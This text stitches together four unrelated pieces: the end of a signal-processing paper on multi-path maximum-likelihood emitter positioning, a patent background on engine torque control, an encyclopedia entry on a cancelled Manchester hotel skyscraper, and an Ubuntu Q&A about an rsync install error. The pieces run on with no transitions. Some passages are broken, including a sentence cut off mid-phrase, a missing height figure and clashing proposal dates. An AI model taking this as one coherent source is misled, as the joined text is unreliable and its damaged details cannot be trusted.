consumptions of the Interior Point Algorithm (IPA) and the ASA, as well. ASA consumes only 1.67% more time than IPA. In the case of time-sensitive positioning, the number of snapshots is not enough. The maximum likelihood estimation algorithm for Multi-path Propagation positioning (MP-ML) maximizes the likelihood function rather than calculating the covariance matrix of the observations to avoid the requirement of a large number of snapshots. We designed an iterative algorithm and proposed the strategy of choosing an initial solution to accelerate the solving of the programming. Numerical simulation results show that MP-ML can approach the Cramér--Rao Lower Bound (CRLB) relative to MP-MUSIC with the same data length, but MP-ML requires more computation time than the MP-MUSIC method. Furthermore, we discussed the performances of MP-ML with different numbers of receiving arrays and emitters. SPG mentioned in \[[@B28-sensors-18-00892]\] is viewed as a degenerate version of MP-ML (where $D = 1$ and $N = 1$). The numerical results shows that it is worthwhile to increase the number of receiving stations in the sense of a weak signal, although MP-ML increases the hardware costs, communication overhead and computational complexity. We compared the performances and time consumptions of MP-MUSIC and MP-ML by numerical simulations. MP-ML obtains a more precise position estimation than MP-MUSIC, and MP-MUSIC consumes less time than MP-ML. In a specific positioning application, we choose the appropriate method according to the number of snapshots, the precision requirement and the calculation ability. MP-ML has the ability of positioning multiple emitters synchronously. If the number of emitters is far less than the number of transponders, the number of emitters has only a slight influence on the positioning performance. If the number of emitters is equal to the number of transponders, the performance will decline significantly. If the number of emitters is more than the number of transponders, MP-ML cannot find any emitter at all. An MTRE system requires more receiving arrays, more transponders and more computing resources compared to a Single Geolocation Platform (SGP) or a Direction Finding System (DFS). However, an MTRE system can locate multiple emitters synchronously and provides a higher positioning accuracy than SGP and DFS. It is suitable for some cost-insensitive applications, such as military and national security applications. This work was supposed by the National Natural Science Foundation of China (61201381 and 61401513), China Postdoctoral Science Foundation (2016M592989), the Outstanding Youth foundation of Information Engineering University (2016603201), and Self-topic Foundation of Information Engineering University (2016600701). Jianping Du developed the program and mathematical model and wrote the paper. Ding Wang provided much useful advice and checked the paper. Wanting Yu worked on the data collection, experiments and data analyses. Hongyi Yu provided the initial idea of this research. The authors declare no conflict of interest. We discuss the conditions that make the manifold matrix singular in this section. Define the term of Singular Manifold Candidate (SMC) and Near Singular Manifold Candidate (NSMC) firstly. Singular Manifold Candidate (SMC): In a multi-path positioning application, a candidate position $\mathbf{p}_{e}$ is named a singular manifold candidate if it satisfies $e^{- j\omega_{k}{\lbrack{\widetilde{\mathbf{\tau}}}_{\ell_{1}n} + {\overline{\tau}}_{\ell_{1}}{(\mathbf{p}_{e})}\rbrack}} = e^{- j\omega_{k}{\lbrack{\widetilde{\mathbf{\tau}}}_{\ell_{2}n} + {\overline{\tau}}_{\ell_{2}}{(\mathbf{p}_{e})}\rbrack}}$, $k = 1,2,\cdots,K$, where ${\widetilde{\mathbf{\tau}}}_{\ell_{i}n},i = 1,2$, is the propagation delays from the $\ell_{i}$-th transponder to the n-th receiving array and ${\overline{\tau}}_{\ell_{i}},i = 1,2$, is the propagation delay from the candidate position to the $\ell_{i}$-th transponder. Center Singular Manifold Candidate (CSMC): In a multi-path positioning application, a candidate position $\mathbf{p}_{e}$ is named a singular manifold candidate, if it satisfies $e^{- j\omega_{k}{\lbrack{\widetilde{\tau}}_{\ell_{1}n} + {\overline{\tau}}_{\ell_{1}}{(\mathbf{p}_{e})}\rbrack}} = e^{- j\omega_{k}{\lbrack{\widetilde{\tau}}_{\ell_{2}n} + {\overline{\tau}}_{\ell_{2}}{(\mathbf{p}_{e})}\rbrack}}$, $k = 1,2,\cdots,K$, where ${\widetilde{\tau}}_{\ell_{i}n},i = 1,2$, is the propagation delay from the $\ell_{i}$-th transponder to the center of the n-th receiving array and ${\overline{\tau}}_{\ell_{i}},i = 1,2$, is the propagation delay from the candidate position to the $\ell_{i}$-th transponder. The difference of an SMC and a CSMC is that all the antennas satisfy the equation for an SMC, but only the centers of the array satisfy the equation for a CSMC. *If $\mathbf{p}_{e}$ is a CSMC, there are at least two paths from $\mathbf{p}_{e}$ to a receiving array, which satisfy:* $${\widetilde{D}}_{\ell_{1,2}n}\left( \mathbf{p}_{e} \right) = z\lambda,z = 0,1,2,\cdots,$$ *where n is the receiving array index, $\ell_{1}$ and $\ell_{2}$ are the indexes of two transponders in two paths, ${\widetilde{D}}_{\ell_{1,2}n}{\triangleq \parallel}\mathbf{p}_{e} - \mathbf{p}_{t}\left( \ell_{1} \right) \parallel_{F}{+ \parallel}\mathbf{p}_{r}\left( n \right) - \mathbf{p}_{t}\left( \ell_{1} \right) \parallel_{F}{- \parallel}\mathbf{p}_{e} - \mathbf{p}_{t}\left( \ell_{2} \right) \parallel_{F} - {\parallel \mathbf{p}_{r}\left( n \right) - \mathbf{p}_{t}\left( \ell_{2} \right) \parallel}_{F}$ is the difference between the two path lengths, $\mathbf{p}_{r}\left( n \right)$ is the center of the n-th receiving array, z is an integer, λ is the Least Common Multiple (LCM) of $\{\lambda_{1},\lambda_{2},\cdots,\lambda_{K}\}$ and $\lambda_{k}$ is the wave length of frequency $\omega_{k}$.* Move the right item of the equation in the CSMC condition to the left: $$\begin{array}{l} {e^{- j\omega_{k}{\{{{\lbrack{\widetilde{\tau}}_{\ell_{1}n} + {\overline{\tau}}_{\ell_{1}}{(\mathbf{p}_{e})}\rbrack} - {\lbrack{\widetilde{\tau}}_{\ell_{2}n} + {\overline{\tau}}_{\ell_{2}}{(\mathbf{p}_{e})}\rbrack}}\}}} = 1,} \\ \left. \Rightarrow e^{- j\frac{2\pi c}{\lambda_{k}}{\{{{\lbrack{\widetilde{\tau}}_{\ell_{1}n} + {\overline{\tau}}_{\ell_{1}}{(\mathbf{p}_{e})}\rbrack} - {\lbrack{\widetilde{\tau}}_{\ell_{2}n} + {\overline{\tau}}_{\ell_{2}}{(\mathbf{p}_{e})}\rbrack}}\}}} = 1, \right. \\ \left. \Rightarrow\frac{2\pi c}{\lambda_{k}}\left\{ {{\lbrack{\widetilde{\tau}}_{\ell_{1}n} + {\overline{\tau}}_{\ell_{1}}\left( \mathbf{p}_{e} \right)\rbrack} - {\lbrack{\widetilde{\tau}}_{\ell_{2}n} + {\overline{\tau}}_{\ell_{2}}\left( \mathbf{p}_{e} \right)\rbrack}} \right\}\mspace{600mu}{mod}\; 2\pi = 0, \right. \\ \left. \Rightarrow\frac{{\widetilde{D}}_{\ell_{1,2}n}\left( \mathbf{p}_{e} \right)}{\lambda_{k}} \in \mathbb{Z},k = 1,2,\cdots,K, \right. \\ \left. \Rightarrow{\widetilde{D}}_{\ell_{1,2}n}\left( \mathbf{p}_{e} \right) = z\lambda,z = 0,1,2,\cdots, \right. \\ \end{array}$$ where $\lambda_{k} = \frac{2\pi c}{\omega_{k}}$ is the wave length of frequency $\omega_{k}$, $c = 3.0 \times 10^{8}$ m/s is the light speed constant, ${\widetilde{D}}_{\ell_{1,2}n}{\triangleq \parallel}\mathbf{p}_{e} - \mathbf{p}_{t}\left( \ell_{1} \right) \parallel_{F}{+ \parallel}\mathbf{p}_{r}\left( n \right) - \mathbf{p}_{t}\left( \ell_{1} \right) \parallel_{F}{- \parallel}\mathbf{p}_{e} - \mathbf{p}_{t}\left( \ell_{2} \right) \parallel_{F} - {\parallel \mathbf{p}_{r}\left( n \right) - \mathbf{p}_{t}\left( \ell_{2} \right) \parallel}_{F}$ is the difference between the two path lengths, $\mathbf{p}_{r}\left( n \right)$ is the center of the *n* th receiver and $\mathbb{Z}$ is the integer set. Denote $\lambda$ as the Least Common Multiple (LCM) of $\{\lambda_{1},\lambda_{2},\cdots,\lambda_{K}\}$. ☐ In particular, we set $z = 0$ and obtain ${\widetilde{D}}_{d\ell_{1,2}n} = 0$ (see [Figure A1](#sensors-18-00892-f0A1){ref-type="fig"}) (in fact, $\mathbf{p}_{e}\left( d \right)$ on the hyperbolic satisfies ${\widetilde{\tau}}_{\ell_{1}n} + {\overline{\tau}}_{\ell_{1}} = {\widetilde{\tau}}_{\ell_{2}n} + {\overline{\tau}}_{\ell_{2}}$). {#sensors-18-00892-f0A1} If $\mathbf{p}_{e}$ is a CSMC and $\mathbf{a}_{\ell_{1}n}\left( k \right) \approx \mathbf{a}_{\ell_{2}n}\left( k \right),k = 1,2,\ldots,K$, the candidate emitter position $\mathbf{p}_{e}$ makes the manifold matrix near singular. In a multi-path positioning model, $\Gamma\left( k \right)$ in ([16](#FD16-sensors-18-00892){ref-type="disp-formula"}) is defined as: $$\Gamma\left( k \right) \triangleq \widetilde{\mathbf{A}}\left( k \right)\mathbf{V}\left( k \right),$$ where $\Gamma\left( k \right)$ is a block diagonal matrix: $$\Gamma\left( k \right) = \begin{bmatrix} {\Gamma_{1}\left( k \right)} & 0 & \cdots & 0 \\ 0 & {\Gamma_{2}\left( k \right)} & \cdots & 0 \\ \vdots & \vdots & \ddots & \vdots \\ 0 & 0 & \cdots & {\Gamma_{N}\left( k \right)} \\ \end{bmatrix}_{MN \times LN}$$ The *n*-th block $\Gamma_{n}\left( k \right)$ in the diagonal is a matrix with a size of $M \times L$. The *ℓ*-th column of $\Gamma_{n}\left( k \right)$ is defined as $e^{- i\omega_{k}{({\widetilde{\mathbf{\tau}}}_{\ell n} + {\overline{\tau}}_{\ell})}}$, where $\mathbf{\tau}_{\ell n}$ is an $M \times 1$ column vector representing the propagation delays from the *ℓ*-th transponder to the *M* antennas in the *n*-th receiving station. Notice that: $$e^{- i\omega_{k}{({\widetilde{\mathbf{\tau}}}_{\ell n} + {\overline{\tau}}_{\ell})}} = e^{- i\omega_{k}{({\widetilde{\mathbf{\tau}}}_{\ell n} - \tau_{\ell n} + \tau_{\ell n} + {\overline{\tau}}_{\ell})}} = e^{- i\omega_{k}{({\widetilde{\mathbf{\tau}}}_{\ell n} - \tau_{\ell n})}}e^{- i\omega_{k}{(\tau_{\ell n} + {\overline{\tau}}_{\ell})}} \triangleq \mathbf{a}_{\ell n}\left( k \right)e^{- i\omega_{k}{(\tau_{\ell n} + {\overline{\tau}}_{\ell})}}$$ where $\tau_{\ell n}$ is the propagation delay from the *ℓ*-th transponder to the center of the *n*-th receiving array and $\mathbf{a}_{\ell n}\left( k \right) = e^{- i\omega_{k}{({\widetilde{\mathbf{\tau}}}_{\ell n} - \tau_{\ell n})}}$ represents the array response of the *n*-th receiving station from the *ℓ*-th transponder. If $\mathbf{p}_{e}$ is a CSMC that satisfies ${\widetilde{D}}_{\ell_{1,2}n} = z\lambda$ and $\mathbf{a}_{\ell_{1}n}\left( k \right) \approx \mathbf{a}_{\ell_{2}n}\left( k \right)$, we get that $e^{- i\omega_{k}{({\widetilde{\mathbf{\tau}}}_{\ell_{1}n} + {\overline{\tau}}_{\ell_{1}})}} \approx e^{- i\omega_{k}{({\widetilde{\mathbf{\tau}}}_{\ell_{2}n} + {\overline{\tau}}_{\ell_{2}})}}$ from ([A5](#FD60-sensors-18-00892){ref-type="disp-formula"}). In this case, the $\ell_{1}$-th column of matrix $\Gamma_{n}\left( k \right)$ is approximately equal to the $\ell_{2}$-th column. Because there are two columns in the matrix $\Gamma\left( k \right)$ that are almost equal, $\Gamma\left( k \right)$ is a near singular matrix. ☐ The proof of Theorem 2: Denote a specific value of $\mathbf{\alpha}$ by $\mathbf{\alpha}_{i}$. $\overline{\mathbf{f}}\left( k \right)$ and $\overline{\mathbf{C}}\left( k \right)$ are vectors with real values. The following inequality is always true, $$\parallel \overline{\mathbf{f}}\left( k \right)^{T}\mathbf{\alpha}{\lbrack\mathbf{\alpha}^{T}\overline{\mathbf{C}}\left( k \right)\mathbf{\alpha}\rbrack}^{- \frac{1}{2}} - \overline{\mathbf{f}}\left( k \right)^{T}\mathbf{\alpha}_{i}{\lbrack\mathbf{\alpha}_{i}^{T}\overline{\mathbf{C}}\left( k \right)\mathbf{\alpha}_{i}\rbrack}^{- 1}{\lbrack\mathbf{\alpha}^{T}\overline{\mathbf{C}}\left( k \right)\mathbf{\alpha}\rbrack}^{\frac{1}{2}} \parallel_{F}^{2} \geq 0.$$ After expanding the expression in ([A6](#FD61-sensors-18-00892){ref-type="disp-formula"}) and re-arranging the terms, $$\begin{array}{cl} {\overline{\mathbf{f}}\left( k \right)^{T}\mathbf{\alpha}{\lbrack\mathbf{\alpha}^{T}\overline{\mathbf{C}}\left( k \right)\mathbf{\alpha}\rbrack}^{- 1}\mathbf{\alpha}^{T}\overline{\mathbf{f}}\left( k \right) \geq} & {2\{\overline{\mathbf{f}}\left( k \right)^{T}\mathbf{\alpha}{\lbrack\mathbf{\alpha}_{i}^{T}\overline{\mathbf{C}}\left( k \right)\mathbf{\alpha}_{i}\rbrack}^{- T}\mathbf{\alpha}_{i}^{T}\overline{\mathbf{f}}\left( k \right)\}} \\ & {- \overline{\mathbf{f}}\left( k \right)^{T}\mathbf{\alpha}_{i}{\lbrack\mathbf{\alpha}_{i}^{T}\overline{\mathbf{C}}\left( k \right)\mathbf{\alpha}_{i}\rbrack}^{- 1}\left. \lbrack\mathbf{\alpha}^{T}\overline{\mathbf{C}}\left( k \right)\mathbf{\alpha} \right)\left( \mathbf{\alpha}_{i}^{T}\overline{\mathbf{C}}\left( k \right)\mathbf{\alpha}_{i}\rbrack \right.^{- T}\mathbf{\alpha}_{i}^{T}\overline{\mathbf{f}}\left( k \right).} \\ \end{array}$$ Defining $\mathbf{w}\left( k \right) \triangleq \overline{\mathbf{f}}\left( k \right)^{T}\mathbf{\alpha}_{i}{\lbrack\mathbf{\alpha}_{i}^{T}\overline{\mathbf{C}}\left( k \right)\mathbf{\alpha}_{i}\rbrack}^{- 1}$, and summing (A7) over *k*, $$\begin{array}{cl} {Q\left( \eta \right)} & {= H\left( \mathbf{\alpha} \right)} \\ & {= - \sum\limits_{k = 1}^{K}\overline{\mathbf{f}}\left( k \right)^{T}\mathbf{\alpha}{\lbrack\mathbf{\alpha}^{T}\overline{\mathbf{C}}\left( k \right)\mathbf{\alpha}\rbrack}^{- 1}\mathbf{\alpha}^{T}\overline{\mathbf{f}}\left( k \right)} \\ & {\leq - 2\sum\limits_{k = 1}^{K}{\{{\overline{\mathbf{f}}}^{T}\left( k \right)\mathbf{\alpha}\mathbf{w}^{T}\left( k \right)\}} + \sum\limits_{k = 1}^{K}\mathbf{w}\left( k \right){\lbrack\mathbf{\alpha}^{T}\overline{\mathbf{C}}\left( k \right)\mathbf{\alpha}\rbrack}\mathbf{w}^{T}\left( k \right).} \\ \end{array}$$ Notice that: $$\mathbf{w}\left( k \right)\mathbf{\alpha}^{T} = {\overline{\mathbf{\alpha}}}^{T}\mathbf{W}\left( k \right),$$ where $\overline{\mathbf{\alpha}}$ is defined in ([38](#FD38-sensors-18-00892){ref-type="disp-formula"}), and it is viewed as a reshaped form of the $\mathbf{\alpha}$. $\mathbf{\alpha}$ is defined in ([5](#FD5-sensors-18-00892){ref-type="disp-formula"}), and: $$\mathbf{W}\left( k \right) \triangleq \mathbf{I}_{N} \otimes {diag}{\{\mathbf{w}\left( k \right)\}} \otimes \mathbf{I}_{L},$$ where $\mathbf{I}_{L}$ is an identify matrix with a size of $L \times L$ and $\mathbf{I}_{N}$ is an identify matrix with a size of $N \times N$. Substitute ([A9](#FD64-sensors-18-00892){ref-type="disp-formula"}) into (A8): $$\begin{aligned} {H\left( \overline{\mathbf{\alpha}} \right)} & {\leq - 2{\lbrack\sum\limits_{k = 1}^{K}{\overline{\mathbf{f}}}^{T}\left( k \right)\mathbf{W}^{T}\left( k \right)\rbrack}\overline{\mathbf{\alpha}} + {\overline{\mathbf{\alpha}}}^{T}{\lbrack\sum\limits_{k = 1}^{K}\mathbf{W}\left( k \right)\overline{\mathbf{C}}\left( k \right)\mathbf{W}^{T}\left( k \right)\rbrack}\overline{\mathbf{\alpha}}.} \\ \end{aligned}$$ The eigenvalue decomposition of the second item of the right part is denoted by: $$\begin{array}{cl} {\sum\limits_{k = 1}^{K}\mathbf{W}\left( k \right)\overline{\mathbf{C}}\left( k \right)\mathbf{W}^{T}\left( k \right)} & {= {\overline{\mathbf{U}}}^{T}\Sigma\overline{\mathbf{U}}} \\ & {= \mathbf{U}^{T}\mathbf{U},} \\ \end{array}$$ where $\mathbf{U} = \overline{\mathbf{U}}\Sigma^{\frac{1}{2}}$. The right part of (A11) is simplified by: $$\begin{array}{l} {- 2{\lbrack\sum\limits_{k = 1}^{K}\overline{\mathbf{f}}\left( k \right)^{T}\mathbf{W}\left( k \right)^{T}\rbrack}\overline{\mathbf{\alpha}} + {\overline{\mathbf{\alpha}}}^{T}{\lbrack\sum\limits_{k = 1}^{K}\mathbf{W}\left( k \right)\overline{\mathbf{C}}\left( k \right)\mathbf{W}\left( k \right)^{T}\rbrack}\overline{\mathbf{\alpha}}} \\ {= \left| \middle| \mathbf{F} \right.\mathbf{U}^{- 1} - {\overline{\mathbf{\alpha}}}^{T}\mathbf{U}^{T}{||}^{2} - \mathbf{FU}^{- 1}\mathbf{U}^{- T}\mathbf{F}^{T}} \\ {\triangleq \left| \middle| \mathbf{Y} \right. - {\overline{\mathbf{\alpha}}}^{T}\mathbf{X}{||}^{2} - \mathbf{Z},} \\ \end{array}$$ where: $$\begin{aligned} \mathbf{F} & {\triangleq \sum\limits_{k = 1}^{K}\overline{\mathbf{f}}\left( k \right)^{T}\mathbf{W}\left( k \right)^{T},} \\ \mathbf{Y} & {\triangleq \mathbf{FU}^{- 1},} \\ \mathbf{X} & {\triangleq \mathbf{U}^{T},} \\ \mathbf{Z} & {\triangleq \mathbf{YY}^{T}.} \\ \end{aligned}$$ Denote: $$\begin{array}{r} {G\left( \mathbf{\alpha}_{i},\overline{\mathbf{\alpha}},\mathbf{P}^{e} \right) \triangleq \left| \middle| \mathbf{Y} \right. - {\overline{\mathbf{\alpha}}}^{H}\mathbf{X}{||}^{2} - \mathbf{Z}.} \\ \end{array}$$ For a given $\mathbf{\alpha}_{i}$, $G\left( \mathbf{\alpha}_{i},\overline{\mathbf{\alpha}},\mathbf{p}^{e} \right)$ is the upper bound of the cost function $Q\left( \eta \right)$. The cost function defined in (A14) is viewed as a relaxed programming of the original programming: $${\overline{\mathbf{\alpha}}}_{i + 1} = \arg\min\limits_{\overline{\mathbf{\alpha}}}G\left( \mathbf{\alpha}_{i},\overline{\mathbf{\alpha}},\mathbf{p}_{e} \right) = \left| \middle| \mathbf{Y} \right. - {\overline{\mathbf{\alpha}}}^{H}\mathbf{X}{||}^{2} - \mathbf{Z},$$ $$\begin{array}{r} {s.t.\mspace{720mu}\overline{\mathbf{\alpha}} \geq 0.} \\ \end{array}$$ Since ${\overline{\mathbf{\alpha}}}_{i + 1}$ is the optimal solution of the relaxed programming, $$Q\left( \mathbf{\eta}_{i + 1} \right) = H\left( {\overline{\mathbf{\alpha}}}_{i + 1} \right) \leq G\left( \mathbf{\alpha}_{i},{\overline{\mathbf{\alpha}}}_{i + 1},\mathbf{p}_{e} \right) \leq G\left( \mathbf{\alpha}_{i},{\overline{\mathbf{\alpha}}}_{i},\mathbf{p}_{e} \right) = H\left( {\overline{\mathbf{\alpha}}}_{i} \right) = Q\left( \mathbf{\eta}_{i} \right),$$ ☐ {#sensors-18-00892-f001} {#sensors-18-00892-f002} {#sensors-18-00892-f003} {#sensors-18-00892-f004} {#sensors-18-00892-f005} {#sensors-18-00892-f006} {#sensors-18-00892-f007} {#sensors-18-00892-f008} {#sensors-18-00892-f009} {#sensors-18-00892-f010} {#sensors-18-00892-f011} {#sensors-18-00892-f012} {#sensors-18-00892-f013} {#sensors-18-00892-f014} {#sensors-18-00892-f015} {#sensors-18-00892-f016} sensors-18-00892-t001_Table 1 ###### Parameter setting in the numerical simulations. Description Layout *R* (m) $\mathbf{\mathbf{\lambda}}$ (m)/*f* (MHz) *M* *B* (kHz) *K* *J* SNR (dB) --------------------------------- -------- --------- ------------------------------------------- ----- ----------- ----- ----- ---------- Baseband signal positioning A 30 *1157.5/0.26* 11 8 64 100 10 Transponders are close *B* 30 30/10 11 8 64 100 10 Single antenna of each receiver A 30 30/10 *1* 8 64 100 10 Standard scenario A 30 30/10 11 8 64 100 10 sensors-18-00892-t002_Table 2 ###### Parameter setting in MP-MUSIC simulations. Description Layout *R* (m) $\mathbf{\mathbf{\lambda}}$ (m)/*f* (MHz) *M* *B* (kHz) *K* *J* SNR (dB) ----------------------- -------- --------- ------------------------------------------- ----- ----------- ----- ----- ---------------- RMSE of MUSIC methods A 30 1157.5/0.26 11 8 128 100 $- 15 \sim 15$ sensors-18-00892-t003_Table 3 ###### Parameter setting in insufficient snapshot scenarios. Description Layout *R* (m) $\mathbf{\mathbf{\lambda}}$ (m)/*f* (MHz) *M* *B* (kHz) *K* *J* SNR (dB) ------------- -------- --------- ------------------------------------------- ----- ----------- ----- ----- ---------------- *MP-MUSIC* A 30 1157.5/0.26 11 8 16 1 $- 15 \sim 15$ *MP-ML* A 30 1157.5/0.26 11 8 16 1 $- 15 \sim 15$ *CRLB* A 30 1157.5/0.26 11 8 16 1 $- 15 \sim 15$ sensors-18-00892-t004_Table 4 ###### Parameter setting in MP-MUSIC with different $J,K$ combinations. Description Layout *R* (m) $\mathbf{\mathbf{\lambda}}$ (m)/*f* (MHz) *M* *B* (kHz) *K* *J* SNR (dB) -------------------------------- -------- --------- ------------------------------------------- ----- ----------- ------- ------ ------------- MP-MUSIC $J,K$ Combination I A 30 1157.5/0.26 11 8 *32* *4* $0 \sim 30$ MP-MUSIC $J,K$ Combination II A 30 1157.5/0.26 11 8 *16* *8* $0 \sim 30$ MP-MUSIC $J,K$ Combination III A 30 1157.5/0.26 11 8 *8* *16* $0 \sim 30$ MP-MUSIC $J,K$ Combination IV A 30 1157.5/0.26 11 8 *4* *32* $0 \sim 30$ MP-ML A 30 1157.5/0.26 11 8 *128* *1* $0 \sim 30$ CRLB A 30 1157.5/0.26 11 8 *128* *1* $0 \sim 30$ sensors-18-00892-t005_Table 5 ###### Parameter setting in simulations of different numbers of snapshots. Description Layout *R* (m) $\mathbf{\mathbf{\lambda}}$ (m)/*f* (MHz) *M* *B* (kHz) $\mathbf{\mathbf{K} \cdot \mathbf{J}}$ SNR (dB) ------------- -------- --------- ------------------------------------------- ----- ----------- --------------------------------------------- ---------- *MP-MUSIC* A 30 1157.5/0.26 11 8 $2^{i}$, $\left( i = 4,5,\cdots,13 \right)$ 10 *MP-ML* A 30 1157.5/0.26 11 8 $2^{i}$, $\left( i = 4,5,\cdots,13 \right)$ 10 *CRLB* A 30 1157.5/0.26 11 8 $2^{i}$, $\left( i = 4,5,\cdots,13 \right)$ 10 sensors-18-00892-t006_Table 6 ###### Parameter setting in simulations of time consumption. Description Layout *d* *R* (m) $\mathbf{\mathbf{\lambda}}$ (m)/*f* (MHz) *M* *B* (kHz) SNR *K* *J* ----------------------- -------- ------------ --------- ------------------------------------------- ----- ----------- ----- ------- ----- MP-ML ($KJ = 16$) A $1 \sim 4$ 30 1157.5/0.26 11 8 15 *16* *1* MP-MUSIC ($KJ = 16$) A $1 \sim 4$ 30 1157.5/0.26 11 8 15 *16* *1* MP-ML ($KJ = 128$) A $1 \sim 4$ 30 1157.5/0.26 11 8 15 *128* *1* MP-MUSIC ($KJ = 128$) A $1 \sim 4$ 30 1157.5/0.26 11 8 15 *16* *8* sensors-18-00892-t007_Table 7 ###### Parameter setting in simulations of different numbers of receivers. SGP, Single Platform Geolocation . Description Number of Receivers *R* (m) $\mathbf{\mathbf{\lambda}}$ (m)/*f* (MHz) *M* *B* (kHz) *K* SNR (dB) ------------- --------------------- --------- ------------------------------------------- ----- ----------- ----- ---------- MP-ML *2*∼*4* 30 1157.5/0.26 11 8 128 10 CRLB *1*∼*4* 30 1157.5/0.26 11 8 128 10 SGP *1* 30 1157.5/0.26 11 8 128 10

The background description provided herein is for the purpose of generally presenting the context of the disclosure. Work of the presently named inventors, to the extent it is described in this background section, as well as aspects of the description that may not otherwise qualify as prior art at the time of filing, are neither expressly nor impliedly admitted as prior art against the present disclosure. Air is drawn into an engine through an intake manifold. A throttle valve controls airflow into the engine. The air mixes with fuel from one or more fuel injectors to form an air/fuel mixture. The air/fuel mixture is combusted within one or more Combustion of the air/fuel mixture produces torque and exhaust gas. Torque is generated via heat release and expansion during combustion of the air/fuel mixture. The engine transfers torque to a transmission via a crankshaft, and the transmission transfers torque to one or more wheels via a driveline. The exhaust gas is expelled from the cylinders to an exhaust system. An engine control module (ECM) controls the torque output of the engine. The ECM may control the torque output of the engine based on driver inputs and/or other suitable inputs. The driver inputs may include, for example, accelerator pedal position, brake pedal position, and/or one or more other suitable driver inputs.

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Intercontinental Tower, Manchester The Intercontinental Tower, Manchester is a cancelled landmark skyscraper for construction in Manchester City Centre, England. The proposed high rise would have been a five-star luxury hotel run by InterContinental Hotels Group, and developed by Northern Irish development firm, Benmore. The skyscraper was proposed in a press release by developer Benmore in May 2009 and discussed with Manchester City Council in summer 2009. In 2010, the tower was part of the city council's preliminary plans to regenerate the surrounding civic quarter, and opposition to building a skyscraper in the heart of its historic district has been minimal. The tower would feature a helipad and two decorative spires, much like the Willis Tower in Chicago, which would take its pinnacle height to approximately , 30 m taller than Manchester's tallest skyscraper, the Beetham Tower. The plans for the 48-storey tower were drawn up before the recession but were abandoned when the financial market crashed. Planning negotiations have resumed and architect Roger Stephenson has designed a 25-storey tower to contain 270 hotel rooms and a presidential suite at the top. The theatre façade will be retained to become the entrance to the hotel foyer. The structure will be created behind the theatre's façade. Background The skyscraper was proposed in May 2008 as the Theatre Royal Tower and the initial design was modified to its current state. Its height was increased from approximately 118 metres to 200 m. Developers Benmore, who have invested in Manchester, revealed in a press release that they were in "advanced negotiations to bring an internationally renowned hotel chain to the City - the first of that brand in the North West". InterContinental Hotels Group were linked to the development. A factor in the proposal is it would be within the security cordon for Manchester Central Conference Centre which is a popular destination for business and political conferences. The tower would be close enough to the Beetham Tower to form a coherent cluster. Also planned is a helipad on top of the skyscraper which would be the first of its kind in the United Kingdom. In October 2009, the general manager of Manchester's Radisson Edwardian Hotel believed the city had reached a 'tipping point' and would not see any major hotel investment for three years. Manchester City Council held a public consultation on the plans in February 2010. The Radisson Edwardian had "no objection to the re-instatement of the theatre here [Library Theatre] but object strongly to the proposal to redevelop the site for a ‘tall’ building which they define as any building exceeding 15 storeys." The council acknowledged that "a new quality hotel" was being planned but claimed "The principle of a taller building on this site was established when planning permission was granted for a 17 storey office building on 2 June 2005. The impact on the historic environment (and in every other sense) of a scheme of this height was considered to be acceptable at that time. Therefore, officers do not consider that development at the Theatre Royal site should not exceed 15 storeys." Under the proposal the skyscraper would be built to the rear of the Manchester Theatre Royal, which would be restored and its future preserved. See also Beetham Tower, Manchester List of tallest buildings and structures in Manchester References Category:Hotels in Manchester Category:Proposed buildings and structures in Manchester Category:Skyscrapers in Manchester Category:Skyscraper hotels in England Category:Proposed skyscrapers in England

Q: Error while using apt-get I am not very expert in linux. I am just using Ubuntu for few months. Recently, I am facing the same error whenever I am trying to perform any task(mainly apt-get tasks). For example here I am trying to install htop for my purpose and this is the error that I am getting. It seems that the error is occurring due to rsync but not sure about the error nor how I can get rid of it. sudo apt-get install htop Reading package lists... Done Building dependency tree Reading state information... Done htop is already the newest version. 0 upgraded, 0 newly installed, 0 to remove and 5 not upgraded. 1 not fully installed or removed. After this operation, 0 B of additional disk space will be used. Do you want to continue? [Y/n] y Setting up rsync (3.1.1-3ubuntu0.15.04.1) ... insserv: warning: script 'K01vpnagentd_init' missing LSB tags and overrides insserv: warning: script 'vpnagentd_init' missing LSB tags and overrides insserv: Starting vpnagentd_init depends on rc.local and therefore on system facility `$all' which can not be true! insserv: Starting vpnagentd_init depends on rc.local and therefore on system facility `$all' which can not be true! insserv: Starting vpnagentd_init depends on rc.local and therefore on system facility `$all' which can not be true! insserv: There is a loop between service vpnagentd_init and rc.local if started insserv: loop involving service rc.local at depth 7 insserv: loop involving service vpnagentd_init at depth 1 insserv: Starting vpnagentd_init depends on rc.local and therefore on system facility `$all' which can not be true! insserv: exiting now without changing boot order! update-rc.d: error: insserv rejected the script header dpkg: error processing package rsync (--configure): subprocess installed post-installation script returned error exit status 1 Errors were encountered while processing: rsync E: Sub-process /usr/bin/dpkg returned an error code (1) I have also tried using sudo dpkg --configure -a and I am getting the following error Setting up rsync (3.1.1-3ubuntu0.15.04.1) ... insserv: warning: script 'K01vpnagentd_init' missing LSB tags and overrides insserv: warning: script 'vpnagentd_init' missing LSB tags and overrides insserv: Starting vpnagentd_init depends on rc.local and therefore on system facility `$all' which can not be true! insserv: Starting vpnagentd_init depends on rc.local and therefore on system facility `$all' which can not be true! insserv: Starting vpnagentd_init depends on rc.local and therefore on system facility `$all' which can not be true! insserv: There is a loop between service vpnagentd_init and rc.local if started insserv: loop involving service rc.local at depth 7 insserv: loop involving service vpnagentd_init at depth 1 insserv: Starting vpnagentd_init depends on rc.local and therefore on system facility `$all' which can not be true! insserv: exiting now without changing boot order! update-rc.d: error: insserv rejected the script header dpkg: error processing package rsync (--configure): subprocess installed post-installation script returned error exit status 1 Errors were encountered while processing: rsync It would be really helpful if someone could point out what should I do to remove this error. I am using Ubuntu 15.04. Thank you for your help. A: I would remove rsync, attempt to resolve the problem related to the vpnagentd_init script and reinstall rsync. 1) Remove rsync using sudo apt-get remove rsync 2) Edit /etc/init.d/vpnagentd_init and insert the following LSB tags. ### BEGIN INIT INFO # Provides: vpnagentd_init # Required-Start: $remote_fs $syslog # Required-Stop: $remote_fs $syslog # Default-Start: 2 3 4 5 # Default-Stop: 0 1 6 # Short-Description: Start Cisco vpn agent daemon at boot time # Description: Cisco vpn agent daemon (believe installed by company ssl client) ### END INIT INFO Source: http://forums.debian.net/viewtopic.php?f=30&t=53192#p575807 3) Install rsync using sudo apt-get install rsync If all goes well then you shouldn't see any of those vpnagentd_init warnings and the rsync post-installation script should execute without fault.

